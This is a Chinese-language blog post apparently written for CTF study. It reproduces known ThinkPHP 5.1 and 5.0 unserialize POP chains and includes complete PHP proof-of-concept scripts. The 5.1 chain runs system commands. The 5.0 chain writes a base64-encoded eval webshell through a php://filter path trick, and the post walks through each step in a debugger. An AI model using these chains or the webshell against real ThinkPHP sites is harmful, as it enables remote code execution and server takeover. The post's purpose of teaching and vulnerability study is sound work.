March 2, 2023

ThinkPHP5.x反序列化漏洞全复现

嗯、说在前面

最近在学Java,但是回过头看PHP发现还有一些框架没有去深究,比如这个ThinkPHP,然后虽然网上很多poc,但那也只是poc,你不知道流程和构造链单纯知道个反序列化,我改点东西不就没了
然后也是发现其实网上的文章大部分讲的也不是很好,甚至有一些错误,这里我就边学习边纠正,尽量是能让新人也能够看懂ThinkPHP反序列化漏洞和一些RCE链子
然后在学习之前确保你有以下基础:

因为这些是基础中的基础

一、基础知识 | PHP中的namespace

namespace实际上就是命名空间,在php类与对象这一章节中用到了命名空间这个概念,我也是没有看到这个考点出现在比赛题中,并且也没有一些文章去透彻的分析它,因此这是一个比较重要的基础知识点,我在这里就给他总结一下

(1)命名空间和子命名空间

我们可以把namespace理解为一个单独的空间,事实上它也就是一个空间而已,子命名空间那就是空间里再划分几个小空间,这样说很抽象,我举几个例子来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
namespace animal\cat;
class cat{
public function __construct()
{
echo "meow"."\n";
}
}
namespace animal\dogA;
class dog{
public function __construct()
{
echo "A:wooffff"."\n";
}
}
namespace animal\dogB;
class dog
{
public function __construct()
{
echo "B:wooffff"."\n";
}
}
new dog();
//下面输出的都是dogA
new \animal\dogA\dog();
use animal\dogA;
new dogA\dog();
use animal\dogA as alias;
new alias\dog();
//输出cat
use animal\cat\cat;
new cat();

image.png
在上面的例子中animal是一个命名空间,animal\cat animal\dogA animal\dogB都是其子命名空间,可以看到这样一共就存在三个命名空间,而使用各个命名空间的方法就是将命名空间的名字写完整
而use是什么意思呢?其实和include和require有点像,就是在当前命名空间引入其他命名空间的别名,比如use animal\dogA as alias其中的alias就是别名。use animal\cat\cat这句话就是直接指定了animal\cat命名空间的cat类了,我们只需要直接new就可以创建cat对象,不需要在前面加命名空间

(2)类的继承

这其实不是namespace里的知识,但是由于见的比较少,所以放在这里一起讲了,PHP类的继承是通过extend关键字来实现的,这里也比较简单,看一个例子就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class father{
public $name="Json";
private $age=30;
public $hobby="game";
public function say(){
echo "i am father \n";
}
public function smoke(){
echo "i got smoke \n";
}
}
class son extends father{
public $name="Boogipop";
private $age=19;
public function say()
{
echo "i am son \n";
}
public function parentsay(){
parent::say();
}
}
$son=new son();
$son->say();
$son->smoke();
$son->parentsay();
echo $son->hobby;

image.png
上述例子中son继承了father,可以看到属性和方法也被继承下来了,子类可以覆盖父类的方法,子类也可以通过parent::关键字访问父类被覆盖的方法,一个很简单的demo

(3)trait修饰符

这是本节的重中之重了,trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类,具体也是可以看下面几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
trait test{
public function test(){
echo "test\n";
}
}

class impl{
use test;
public function __construct()
{
echo "impl\n";
}

}
$t=new impl();
$t->test();

image.png
我们在impl类中use了test这个类,因此我们可以调用其中的方法,是不是有点像类的继承了,大致意思就是这么个情况
然后这个修饰符也有个好玩的地方,看下面另一个demo:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace np1\A;

use np2\A\Kino;

class Boogipop{
use Kino;
public function __construct()
{
echo "dawn_construct\n";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace np2\A;
require("np1.php");
use np1\A\Boogipop;
trait Kino{
public function __toString()
{
echo "tostring\n";
return "";
}
}
$a=new boogipop();
echo $a;

image.png
可以看到由于我们在Boogipop类里面复用了Kino这个类,因此我们一并触发了其tostring方法,这个在tp5反序列化漏洞中也有出现,因此我提一嘴

二、ThinkPHP开发手册

给我好好地学一下ThinkPHP的一些规则

三、ThinkPHP5.1.x反序列化链

(1)环境搭建

该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\index\controller;

class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

这里面准备了一个unserialize反序列化入口

(2)POC+效果展示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["boogipop"=>["calc.exe","calc"]];
$this->data = ["boogipop"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'boogipop'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

POC看起来很短,而分析起来(确实很短),拿到结果后直接在url中命令执行即可:
image.png

(3)触发链分析

  • 2023-2-27-0-35:今天玩了一天有点累了,明天再继续写吧

首先在unserialize函数下断点,之后再浏览器中输入payload:
image.png
这是反序列化入口,往下跟一下,观察POC,最外层套的是think\process\pipes\Windows对象,因此会进入该对象中:
image.png
入口是think\process\pipes\Windows__destruct魔术方法,在这里调用了removeFiles方法,跟进该方法:
image.png
在removeFiles方法,用file_exists方法检测文件是否存在,但是这里我们将filename属性改为了一个think\model]\Pivot对象,因此会触发它的toString方法:
image.png
可能在这里大家就觉得比较奇怪了,不是说好了是Pivot对象吗,为什么是Conversion对象,这里我们就需要回顾到上面说的基础知识了:
image.png
首先Conversion被trait进行修饰了,其次我们再观察一下Pivot对象的内部:
image.png
它内部是没有toString魔术方法的,但是构造方法中调用的是父类的构造方法,他的父类是Model对象:
image.png
跟进Model对象:
image.png
到这里紧皱的眉头突然舒展开来,也就是Model类在它的内部复用了被trait修饰的Conversion对象,而Model又是Pivot的父类,因此当Pivot被当成字符串输出时,就会调用Conversion类的toString方法,这一点网上没一篇文章讲到,所以我觉得有必要讲一下的,流程图大概如下:
image.png
那么接下来就能继续往下走了,之后就调用了tojson方法:
image.png
又调用了toArray:
image.png
在这里就有3个点了,先遍历this->append属性,取出键值对,这里我们poc中对应为:
image.png
因此key为boogipop,进入getRelation方法:
image.png
由于我$name(boogipop)不是null,并且我们没给$this->relation进行赋值,因此直接return一个null回来,接着就进入getAttr方法:
image.png
在里面又调用了getData方法,跟进该方法:
image.png
在上述poc中我们将$this->data赋值为了一个Request对象,因此return一个Request对象,之后退出该方法回到外面:
image.png
这里$relation经过上述步骤变为Request对象,调用visible方法触发了Request对象的__call魔术方法,因为不存在该方法,参数为[calc,calc.exe]也就是我们自定义的那个键值对:
image.png
首先使用array_shift往之前的[calc,calc.exe]数组插入$this也就是Request对象,之后调用call_user_func_array方法,其中$this->hook[$method]就是$this->hook['visible'],在POC中为isAjax方法,跟进该方法:
image.png
调用Param方法,参数为我们poc中的boogipop,跟进该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);

image.png
在这个方法中会将GET数组赋值给this->param属性,然后$name就是之前说的boogipop,跟进input方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

首先进入getData方法,在该方法我们可以获取恶意传参:
image.png
$name是上一轮带下来的,也就是boogipop,这里从GET数组获取键名为boogipop的键值,也就是whoami,得到whoami后返回,继续进入getFilter方法获取filter属性:
image.png
在param方法中,filter参数为空,因此在这里先为空,然后将this->filter属性赋值给$filter变量
image.png
然后在$filter数组追加一个$default变量,这里为null,不影响,之后就将该filter数组return回去,这时候$filter=['system',null]:
image.png
最后进入filterValue方法,其中各个变量对应红框中的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}

return $value;
}

image.png
先用arraypop弹出数组末尾的元素,因此只剩下system
image.png
随之调用call_user_func方法,完成RCE
image.png
贴一张其他师傅的图

(4)修复方法

官方直接把Request中的__call魔术方法给抹除了,因此链子后半段就断掉了

四、ThinkPHP5.2.x反序列化链

README

5.2属于内测版,找不到下载的资源。。。无法复现
https://xz.aliyun.com/t/6619#toc-2
可以参考这篇文章,实在是找不到5.2版本了
然后好像破案了,5.2貌似就是现在的6.0版本(shit),这部分放到6.0

五、ThinkPHP5.0.x反序列化链

(1)环境搭建

也是像上面一样准备一个二次发序列化入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\index\controller;

class Index
{
public function index($input="")
{
echo "ThinkPHP5_Unserialize:\n";
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

访问public:image.png
说明环境正常,接下来就分析链子

(2)漏洞复现

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php

//__destruct
namespace think\process\pipes{
class Windows{
private $files=[];

public function __construct($pivot)
{
$this->files[]=$pivot; //传入Pivot类
}
}
}

//__toString Model子类
namespace think\model{
class Pivot{
protected $parent;
protected $append = [];
protected $error;

public function __construct($output,$hasone)
{
$this->parent=$output; //$this->parent等于Output类
$this->append=['a'=>'getError'];
$this->error=$hasone; //$modelRelation=$this->error
}
}
}

//getModel
namespace think\db{
class Query
{
protected $model;

public function __construct($output)
{
$this->model=$output; //get_class($modelRelation->getModel()) == get_class($this->parent)
}
}
}

namespace think\console{
class Output
{
private $handle = null;
protected $styles;
public function __construct($memcached)
{
$this->handle=$memcached;
$this->styles=['getAttr'];
}
}
}

//Relation
namespace think\model\relation{
class HasOne{
protected $query;
protected $selfRelation;
protected $bindAttr = [];

public function __construct($query)
{
$this->query=$query; //调用Query类的getModel

$this->selfRelation=false; //满足条件!$modelRelation->isSelfRelation()
$this->bindAttr=['a'=>'admin']; //控制__call的参数$attr
}
}
}

namespace think\session\driver{
class Memcached{
protected $handler = null;

public function __construct($file)
{
$this->handler=$file; //$this->handler等于File类
}
}
}

namespace think\cache\driver{
class File{
protected $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
protected $tag=true;


}
}

namespace {
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached($file);
$output=new think\console\Output($memcached);
$query=new think\db\Query($output);
$hasone=new think\model\relation\HasOne($query);
$pivot=new think\model\Pivot($output,$hasone);
$windows=new think\process\pipes\Windows($pivot);

echo base64_encode(serialize($windows));
}

运行POC得到编码,之后在URL上传参进行反序列化,反序列化之后访问[http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php](http://localhost/tp5/public/a.php3b58a9545013e88c7186db11bb158c44.php),密码为ccc,即可RCE:
image.png

(3)影响版本

在5.0.24和5.0.18可用,5.0.9不可用

(4)POP链分析

这个POC就比5.1的复杂许多,整整有100行,但是前面一部分还是和5.1一样的,首先下断点,然后进行调试:
image.png
入口依然是windows的析构方法,然后继续往下走又会到toString:
image.png
这里触发的Model类的toString,上面是Conversion类的toString,在5.0版本没有Conversion这个复用类,因此在这里有点小不同,但是方法是一样的因此接下来会和5.1版本一样进入toArray方法:
image.png
image.png
这里有四个比较重要的断点,首先是$relation的赋值,是通过parseName方法完成的,我们跟进
image.png
由于这里type传入的值为1所以进入if判断,因此直接返回name(遍历($this->append而得),在这里为getError
image.png
而Model类有getError这个方法,因此进入了method_exists判断,然后对$modelRelation进行了赋值,在这里是通过$this->$relation(),也就是$this->$getError()完成的:
image.png
在这里返回值可控,我们将其设置为了HasOne对象

  • 2023-2-28-0-05:多少又有点累了WuWuWu….

这里HasOne先不说为什么是它,然后进入第二个断点也就是对$value的赋值:
image.png

1
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {

看这一段if判断,我们需要满足三个条件

首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)才会触发__call魔术方法,而该方法中value的值就是$this->parent,所以第一个条件parent需要为Output对象

对于第二个条件,$modelRelation我们已经完成了赋值,为HasOne对象,我们观察一下isSelfRelation方法:
image.png
image.png
由于hasone类是Relation类的子类,因此我们对$this->selfRelation的值可控,只需让他为false即可

最后一个条件需要让Hasone::getModel返回一个Output对象($this->parent),观察该方法:
image.png
调用了$this->query->getModel(),全局搜索getModel方法,/thinkphp/library/think/db/Query.php中的getModel方法我们可控:
image.png
在这里只需要让this->query==thinkphp/library/thinl/db/Query.php即可,然后让他的model属性为Output对象
完成对Value的赋值后退出来,进入第三个断点,进入$modelRelation->getBindAttr()
image.png
在这里$modelRelationHasone对象,因此调用它的getBindAttr方法,跟进:
image.png
返回HasOne对象的bindAttr属性,这里我们设置为一个数组["a"=>"admin"],这里的admin和结果中的文件名有关

出来后对bindAttr进行了遍历,取出了admin的值,随后准备触发__call方法,这里value为Output对象,attr为admin:
image.png
进入__call方法:
image.png
用array_shift方法将method和args结合在了一起,随后调用call_user_func_array方法调用了自己的block方法,跟进该方法:
image.png
该方法中又调用自己的writeln方法,参数为<getAttr>admin</getAttr>,这是上面2个变量拼贴来的
image.png
跟进writeln方法调用write,参数为之前带下来的<getAttr>admin</getAttr>,另外两个分别为true,0
image.png
调用$this->handle->write($messages, $newline, $type),全局搜索write方法,最终在Memcached类找到合适的write方法,因此让Output的handle属性为Memcached类:
image.png
Memcached对象的write方法,调用了set方法,再找谁调用了set,最终在think/cache/driver/File类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的:
image.png
image.png
最终会调用危险函数file_put_contents,这里存在一个死亡函数绕过,这个在我之前的文章也有写到
不要捉弄我新人同学:F
其中filename是通过getCacheKey函数获取的
image.png
这里的name就是<getAttr>admin</getAttr>,这也就是为什么一开始说会和文件名有关,md5加密后就拼贴在了一起,其中this->options['path']是我们可控的,这里让他为php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php可以绕过死亡函数
但是我们要注意,即使可控文件名,但是文件内容$data,也就是$value在这一次进入set方法不可控,为默认的true,因此即使能创建文件也不能写马
继续往下分析会调用
image.png
这个filename就是上面拼贴得到的:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected function setTagItem($name)
{
echo "in ";
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
//this->tag==true
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name,也就是filename,这就是死亡函数的第二种形式,文件名和内容一样,在上述文章也有就不分析了,因此在第二次进入set方法成功将马写入

因此一共创建2个文件,第二次创建的文件才是一句话木马:
image.png
第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
20221011115008-ccb4a1ce-4917-1.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#PHP#复现#ThinkPHP